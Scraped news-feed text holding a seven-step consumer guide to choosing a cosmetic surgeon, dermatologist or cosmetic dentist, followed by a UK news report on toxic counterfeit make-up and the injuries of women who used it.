When considering a cosmetic procedure, it is so important to find the right doctor for you. This is a procedure that can last you a lifetime, and you want to be completely confident in the doctor you choose to work with. Throughout the entire research process, you should maintain a healthy dose of skepticism as you vet prospective doctors. As the number of people choosing plastic surgery procedures has increased over the years, unfortunately so has the number of unqualified physicians claiming to be experts in the aesthetics procedure industry. Follow the 7 steps below to ensure you are selecting the right doctor for your procedure.

1. Confirm credentials

For a plastic surgeon, a board certification is critical. Unknown to most, in the United States, state medical boards do not require the surgeon to be specifically trained in the surgical procedure he or she offers. In other words, if a general surgeon one day decides he or she wants to start practicing cosmetic surgery instead of general surgery, he or she can! The board certification guarantees that the surgeon has been trained specifically in cosmetic or reconstructive surgeries. When consulting with potential surgeons, ensure they are board certified in plastic surgery as a first step. They should be board certified and members of either The American Academy of Facial Plastic and Reconstructive Surgery, The American Society of Plastic Surgeons (ASPS), The American Academy of Dermatology, The American Board of Plastic Surgery (ABPS), or The American Society for Dermatologic Surgery.

Similarly, a certificate from the American Academy of Dermatology for Dermatologists and accreditation from the American Academy of Cosmetic Dentistry (AACD) ensure that doctors have received specialized training in the field dermatology and cosmetic dentistry, respectively.

Ask: Are you board certified and a member of any professional organizations?

2. Make sure the physician is skilled in the procedure you want

Once you have confirmed credentials, the next step is to inquire about the doctor’s experience with specific procedures. If you are looking to get a nose job, you want to make sure that the plastic surgeon you work with has plenty of experience performing nose jobs. While some of the knowledge is transferable, each feature has unique properties, requiring a completely different set of skills. For instance, facial plastic surgery would require the cosmetic surgeon to work with bone, cartilage, and potentially breathing passages whereas breast reconstruction is mostly soft tissue. The surgical techniques a plastic surgeon would use on soft tissue vary significantly from those used on bone or cartilage.

Take a step back for a second. If you (or a friend or child) needed a tutor to prepare for a history exam, would you hire an English teacher or a history teacher? While they are both teachers, the history teacher is an expert in the subject whereas the English teacher is less familiar. Opt for a doctor who is a specialist or has substantial experience in the procedure you are considering. A physician who names specific treatments, like Botox, veneers, or breast augmentation, will likely be a better fit compared to someone who claims to do all procedures equally as well.

Ask: What did your training entail for the procedure I am considering? How long have you been performing this procedure? How many times have you performed this procedure?

3. Choose a doctor whose past work appeals to you

You found a doctor with top credentials and who is skilled in the procedure you are considering, but do you like his or her aesthetic? It is so important that both you and the physician you are aligned on what a successful procedure will look like. For instance, some plastic surgeons may like more turned up noses whereas others may not. Once you have an idea of what your ideal outcome will look like, begin browsing the before and after photos on doctors’ websites. If available, pay close attention to the before and after photos of patients with similar features to yours. This will give you good insight on the doctor’s consistency and how you may look after the procedure.

Ask: In addition to what is online, do you have any before and after photos of patients with similar features to me?

4. Inquire about the operating facility

One factor that should not be overlooked is the safety of the surgical facility. When undergoing a cosmetic surgery, you are not only working with the plastic surgeon but also an entire operating team and anesthetist. Accredited surgical centers adhere to strict standards, such as sanitation, staff, and equipment, to maximize patient safety. Accreditation is granted by passing regular inspections and submitting thorough records of the facility’s policies. With an accredited operating facility, you can expect qualified staff, a sterile operating room, anesthesia monitoring devices, and the up to date equipment for emergency situations and patient care. Look for facility accreditation certificates, such as AAAASF or AAAHC, and for an anesthetist who is either a Certified Registered Nurse Anesthetist (CRNA) or an anesthesiologist who is board certified in Anesthesiology. Additionally, when discussing the operating facility, you will want to see if the prospective plastic surgeon has hospital privileges to perform the considered procedure. If the plastic surgeon is only able to do the procedure in the surgeon’s office then that can be a red flag.

Ask: Where do you perform surgery and what is the facility’s level of accreditation? What is the anesthetist/anesthesiologist’s level of training? Have you and your team handled emergency situations in the past? Are you affiliated with a hospital and/or do you do surgery at one?

5. Assess bedside manner and personality fit

Aside from poor results, the last thing you want is a pushy or rude physician. With such a life-changing procedure, it is essential you feel comfortable enough to express concerns or ask questions. A good plastic surgeon, cosmetic dentist or dermatologist will allow you to take your time as you absorb all of the new information and will lay out all of the pro’s and con’s of each procedure type so you can make the most informed decision. Realistically, there is not one perfect procedure and doctors must be open about the potential drawbacks of each option.

As you start scheduling consultations, take note of the doctor’s availability. If the schedule is wide open, that could be a negative sign. Typically, Mondays and Tuesdays are the busiest days for cosmetic physicians. If your schedule allows it, try to book your consultation for a Monday or Tuesday to gauge how much demand the doctor has. More so, speak to other patients in the waiting room about their experience with the doctor to get candid and honest feedback. If you are unable to get in-person insight, you can also read online reviews and forums, like AEDIT’s.

A certificate through the American Board of Medical Specialties (ABMS) is another positive indicator as you research doctors. ABMS certifies that doctors carry responsibilities safely and ethically as well as demonstrate empathy towards patients to provide optimal health care.

Ask: What are some risks associated with this procedure? What should I be most concerned about?

6. Consider location

While it is important to work with a professional you trust, you want to ensure that the location is convenient as well. This is particularly important for invasive procedures, like a breast augmentation or tummy tuck. With larger surgeries, you want to make sure that you will be near a family or friend who will be able to pick you up from the surgery and act as a caregiver. Discuss with your doctor ahead of time what post procedure and recovery time will look like.

Ask: Will I need a family member or a friend to pick me up from the procedure afterwards? How long can I expect the recovery time to be?

7. Review pricing

Expenses certainly matter, but this is not an investment to be stingy on. Keep in mind that “inexpensive” surgeries can turn costly if the end result is unsatisfactory. If the outcome is not right, reconstructive surgery may be needed, which can quickly increase the overall cost. That is why it is critical to get the results right the first time. Discuss pricing with the physician ahead of time and ask for a breakdown of all charges. In addition to the surgeon’s fee, you can expect fees for the operating room, anesthesia, and other services. Compare prices among different doctors to gauge what is reasonable for your desired procedure.

Ask: Are there any additional charges to the surgery fee? What can I expect as the total cost for the procedure?

The most important thing to remember is to take your time in making a decision. While it can be a lengthy and labor intensive search, do not settle. Keep looking until you find a well-respected and board certified doctor that has the exact aesthetic you desire and has proper bedside manner. Cosmetic procedures can be absolutely transformative and life-changing when done properly, so remember not to rush!

]]> https://briefnews.eu/finding-the-right-plastic-surgeon-dermatologist-or-cosmetic-dentist/feed/ 1 The toxic truth about counterfeit cosmetics https://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics-2/ https://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics-2/#respond Wed, 29 Aug 2018 05:19:27 +0000 http://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics-2/

cosm

Worryingly, many youngsters know they’re buying fakes (Image: Local Government Association)

Fake copycat cosmetics worth hundreds of thousands of pounds seized by trading standards officers included perfumes, mascaras, lipsticks, lip and eyebrow pencils purporting to be from genuine Benefit, Chanel, Dior, Nars, Kylie Jenner and Mac ranges.

According to a report by the Local Government Association (LGA) many of the counterfeit versions contain dangerous substances including lead, mercury, cyanide, arsenic and paint-stripper which can have toxic effects on vital organs.

One lipstick even contained rat droppings.

The fakes pose serious risks including chemical burns and skin rashes, says the LGA.

Exposure to mercury can damage the nervous system, digestive and immune systems, lungs, kidneys, skin and eyes.

Many illegal counterfeit products are made overseas, especially in China and Hong Kong, and are sold over the internet, so there is no way of ensuring all the ingredients are safe.

Related articles

The UK beauty industry has boomed, with sales topping £4billion for the first time, and numerous genuine products are promoted by celebrities on internet sites such as Facebook and Instagram.

But many young fans, who can’t afford the real thing, are buying fakes.

The knockoffs look identical to the genuine article and even experts find it hard to tell them apart.

Worryingly, many youngsters know they’re buying fakes but do it to be able to boast to their friends on social media.

Maya Gibson, a YouTube blogger with more than 150,000 subscribers, was inundated by questions from followers about the possible benefits of using fake cosmetics.

Classic cosmetics

Mon, August 17, 2009


Eve Lom Cleanser, £78 (evelom.com) Legendary cleanser which is removed with a muslin cloth. Will exfoliate and tone skin.

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Eve Lom Cleanser, £78 (evelom.com) Legendary cleanser which is removed with a muslin cloth. Will exfoliate and tone skin.

Social media, Instagram and different platforms are part of the reason. If you get a high-brand item, you just naturally want to show it off

Maya Gibson

She decided to try applying a full face of make-up using only fake goods – with horrific results.

“After I used the make-up my skin absolutely went mad,” she says.

“It did not react well at all. It went up in acne, my lips had partial chemical burns and the make-up was only on my face for five minutes after filming.”

Maya’s experience has not deterred her friends.

“Quite a few of them own pieces of counterfeit make-up – especially the Kylie lip kits – knowing that it’s fake. What’s scary is that they don’t particularly know or care about the dangers.

“Social media, Instagram and different platforms are part of the reason. If you get a high-brand item, you just naturally want to show it off.”

Cosmetics seized by Devon, Somerset and Torbay trading standards officers included products containing mercury and illegal levels of the skin-whitening agent hydroquinone.

cosm1

Larissa Reynolds had an allergic reaction to fake make-up (Image: FACEBOOK)

In Cheshire, a tanning salon owner was prosecuted for selling more than £100,000 of fake goods.

An investigation by Nottingham City Council in 2016 discovered fake Benefit mascara sold by two women, one of whom had received more than £48,000 from customers via Paypal.

Last year a probe by ITV News found multiple stalls at one of Britain’s most popular markets were selling fake make-up including Mac and Kylie Jenner for 75 per cent less than the retail price – although vendors insisted they were genuine.

Tests showed the fake Mac lipsticks contained high levels of lead. Dr Steve Barton, from Kingston University, said: “Lead is a neurotoxin so it can have various effects like menstrual difficulties and hormonal problems so my advice would certainly not to be putting it on the lips.”

Women around the country have reported ill-effects after using fake make-up. Louise Emery, 30, from Newcastle upon Tyne, was given a bag of Mac cosmetics worth £150 after a friend had bought it for £40 from a colleague who had got it online.

Louise tried out the set which contained lipstick, face powder, lip-liner, eyeliner, mascara and eye-shadow and next morning her eyelids were stuck together and her cheeks felt sore.

“By the evening my face had swollen to twice its normal size.” Her GP prescribed anti-inflammatory tablets, anti-histamines and an antibiotic. It took two weeks for the swelling and the rash to settle down.

“Every time I caught sight of myself in a mirror I’d burst into tears,” Louise said.

“And the thought of what might be in those products – urine, rat droppings, poison – that I’d put on my face made me feel sick.”

Larissa Reynolds, 19, from Nuneaton, said her top lip “kept getting bigger and bigger” after she used a fake £8 Kylie Jenner lip kit she bought online. “My lip started to feel a bit tingly but I thought nothing of it,” she says.

“I woke up next morning to a swollen top lip which was really frightening and painful. It went down after three days but was not worth the risk and I won’t be doing it again. I hope others learn from my mistake.”

Let’s block ads! (Why?)

]]> https://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics-2/feed/ 0 The toxic truth about counterfeit cosmetics https://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics/ https://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics/#respond Wed, 29 Aug 2018 04:56:36 +0000 http://briefnews.eu/the-toxic-truth-about-counterfeit-cosmetics/

BUYING the latest trendy make-up can be detrimental to your wealth, with a celebrity-branded lipstick costing as much as £30. But buying a cheaper version on the internet or at a market stall for as little as £8 can have serious consequences for your health, experts have warned.

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